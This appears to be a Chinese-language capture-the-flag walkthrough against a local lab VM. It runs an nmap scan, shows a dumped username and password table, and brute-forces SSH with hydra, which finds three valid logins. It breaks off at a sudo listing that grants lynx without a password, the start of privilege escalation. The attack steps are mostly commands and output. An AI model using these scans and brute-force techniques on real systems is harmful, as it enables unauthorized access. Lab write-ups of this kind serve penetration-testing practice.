┌──(root㉿kakeru)-[~/tmp] └─# nmap -A 192.168.112.47 Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-1911:09 CST Nmap scan report for bogon (192.168.112.47) Host is up (0.0024s latency). Not shown:998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 e3:fc:1b:74:e5:e3:c9:ef:6d:ac:df:b1:1e:47:83:ad (RSA) | 25610:bd:60:33:a0:d1:a4:7d:de:c8:29:0a:c4:7d:b1:aa (ECDSA) |_ 2564b:fc:30:a8:12:69:e7:b2:ce:ad:99:f1:66:12:cd:8c (ED25519) 80/tcp open http nginx 1.14.2 | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: chatME |_http-server-header: nginx/1.14.2 MAC Address:7E:2E:BE:B7:58:B6 (Unknown) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15-5.19, OpenWrt 21.02 (Linux 5.4) Network Distance:1 hop Service Info:OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 12.40 ms bogon (192.168.112.47)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done:1 IP address (1 host up) scanned in8.72 seconds
+----------+-----------------+ | username | password | +----------+-----------------+ | david | adrianthebest | | tina | davidwhatpass | | kakeru | kakeru | | nona | myfriendtom | | pao | pao | | jerry | thatsmynonapass | +----------+-----------------+
然后用hydra爆破ssh
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root㉿kakeru)-[~/tmp] └─# hydra -L user.txt -P pass.txt ssh://192.168.112.47 Hydra v9.5 (c) 2023by van Hauser/THC & David Maciejak - Please donot use in military or secret service organizations, orfor illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-1912:06:10 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1server, overall 16 tasks, 25login tries (l:5/p:5), ~2 tries per task [DATA] attacking ssh://192.168.112.47:22/ [22][ssh] host: 192.168.112.47login: nona password: thatsmynonapass [22][ssh] host: 192.168.112.47login: david password: davidwhatpass [22][ssh] host: 192.168.112.47login: jerry password: myfriendtom 1of1 target successfully completed, 3valid passwords found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-1912:06:19
提权
登录nona用户,有一个sudo权限
1 2 3 4 5 6 7
nona@talk:~$ sudo -l MatchingDefaults entries for nona on talk: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User nona may run the following commands on talk: (ALL : ALL) NOPASSWD: /usr/bin/lynx